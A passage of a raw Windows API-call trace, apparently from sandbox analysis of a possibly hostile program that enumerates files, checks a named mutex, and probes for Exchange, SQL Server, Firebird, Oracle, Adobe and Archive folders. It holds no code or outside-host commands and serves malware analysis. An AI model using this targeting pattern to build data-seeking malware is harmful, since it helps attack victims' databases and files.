ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0057.167] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.167] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.167] GlobalLock (hMem=0x440004) returned 0x550170 [0057.167] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.167] GlobalUnlock (hMem=0x440004) returned 0 [0057.167] GlobalLock (hMem=0x440004) returned 0x550170 [0057.167] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.167] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.167] GlobalUnlock (hMem=0x440004) returned 0 [0057.167] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.167] GlobalUnlock (hMem=0x44000c) returned 0 [0057.167] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.167] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0057.167] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.167] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.167] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.167] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.167] GlobalUnlock (hMem=0x44000c) returned 0 [0057.167] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.167] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.167] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.167] GlobalUnlock (hMem=0x44000c) returned 0 [0057.167] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.167] GlobalUnlock (hMem=0x440004) returned 0 [0057.167] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.168] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0057.168] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.168] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.168] GlobalLock (hMem=0x440004) returned 0x550170 [0057.168] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.168] GlobalUnlock (hMem=0x440004) returned 0 [0057.168] GlobalLock (hMem=0x440004) returned 0x550170 [0057.168] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.168] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.168] GlobalUnlock (hMem=0x440004) returned 0 [0057.168] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.168] GlobalUnlock (hMem=0x44000c) returned 0 [0057.168] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.168] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0057.168] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.168] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.168] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.168] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.168] GlobalUnlock (hMem=0x44000c) returned 0 [0057.168] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.168] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.168] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.168] GlobalUnlock (hMem=0x44000c) returned 0 [0057.168] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.168] GlobalUnlock (hMem=0x440004) returned 0 [0057.168] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.169] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0057.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.169] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.169] GlobalLock (hMem=0x440004) returned 0x550170 [0057.169] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.169] GlobalUnlock (hMem=0x440004) returned 0 [0057.169] GlobalLock (hMem=0x440004) returned 0x550170 [0057.169] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.169] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.169] GlobalUnlock (hMem=0x440004) returned 0 [0057.169] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.169] GlobalUnlock (hMem=0x44000c) returned 0 [0057.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.169] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0057.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.169] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.169] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.169] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.169] GlobalUnlock (hMem=0x44000c) returned 0 [0057.169] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.169] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.169] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.169] GlobalUnlock (hMem=0x44000c) returned 0 [0057.169] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.169] GlobalUnlock (hMem=0x440004) returned 0 [0057.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.170] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0057.170] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.170] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.170] GlobalLock (hMem=0x440004) returned 0x550170 [0057.170] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.170] GlobalUnlock (hMem=0x440004) returned 0 [0057.170] GlobalLock (hMem=0x440004) returned 0x550170 [0057.170] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.170] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.170] GlobalUnlock (hMem=0x440004) returned 0 [0057.170] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.170] GlobalUnlock (hMem=0x44000c) returned 0 [0057.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.170] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0057.170] GetLastError () returned 0x12 [0057.170] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.170] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.170] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.170] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.170] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.170] GlobalUnlock (hMem=0x44000c) returned 0 [0057.170] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.171] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.171] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.171] GlobalUnlock (hMem=0x44000c) returned 0 [0057.171] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.171] GlobalUnlock (hMem=0x440004) returned 0 [0057.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.171] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0057.171] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.171] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.171] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.171] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.171] GlobalUnlock (hMem=0x440004) returned 0 [0057.171] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.171] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.171] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.171] GlobalUnlock (hMem=0x440004) returned 0 [0057.171] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.171] GlobalUnlock (hMem=0x44000c) returned 0 [0057.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.171] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0057.171] GetLastError () returned 0x12 [0057.171] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0057.172] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0057.172] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f784 | out: lpLocalFileTime=0x18f784) returned 1 [0057.172] FileTimeToDosDateTime (in: lpFileTime=0x18f784, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0057.172] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.172] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.172] GlobalUnlock (hMem=0x44000c) returned 0 [0057.172] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.172] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.172] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.172] GlobalUnlock (hMem=0x44000c) returned 0 [0057.172] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.172] GlobalUnlock (hMem=0x440004) returned 0 [0057.172] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.172] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.172] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.172] GlobalUnlock (hMem=0x440004) returned 0 [0057.172] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.172] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.172] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.172] GlobalUnlock (hMem=0x440004) returned 0 [0057.172] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.173] GlobalUnlock (hMem=0x44000c) returned 0 [0057.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.173] SysReAllocStringLen (in: pbstr=0x18f784*=0x0, psz="C:\\Program Files\\DVD Maker", len=0x1a | out: pbstr=0x18f784*="C:\\Program Files\\DVD Maker") returned 1 [0057.173] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.173] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.173] GlobalUnlock (hMem=0x44000c) returned 0 [0057.173] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.173] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.173] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.173] GlobalUnlock (hMem=0x44000c) returned 0 [0057.173] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.173] GlobalUnlock (hMem=0x440004) returned 0 [0057.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Microsoft\\Exchange Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@垾U垒U企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0057.173] GetLastError () returned 0x3 [0057.173] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\\x18\x18") returned 21 [0057.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Microsoft SQL Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@坜U企@\x18㾤Q\x181")) returned 0xffffffff [0057.174] GetLastError () returned 0x2 [0057.174] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\\x18\x18") returned 9 [0057.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Firebird", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@册U企@\x18䙌R\x18;")) returned 0xffffffff [0057.175] GetLastError () returned 0x2 [0057.175] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\\x18\x18") returned 8 [0057.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\MSSQL.1", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@坜U企@\x18?T\x18D")) returned 0xffffffff [0057.175] GetLastError () returned 0x2 [0057.175] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0057.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@册U企@\x18坜U\x18j")) returned 0xffffffff [0057.176] GetLastError () returned 0x2 [0057.176] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0057.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0057.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Adobe", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@呤U企@\x18䙌R\x18q")) returned 0xffffffff [0057.177] GetLastError () returned 0x2 [0057.177] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="adobe\\坘UĀ") returned 6 [0057.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0057.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Oracle", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@册U企@\x18?T\x18y")) returned 0xffffffff [0057.177] GetLastError () returned 0x2 [0057.177] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="oracle\\R ") returned 7 [0057.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0057.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Archive", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@呤U企@\x18䙌R\x18\x81")) returned 0xffffffff [0057.178] GetLastError () returned 0x2 [0057.178] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.178] MultiByteToWideChar (in: 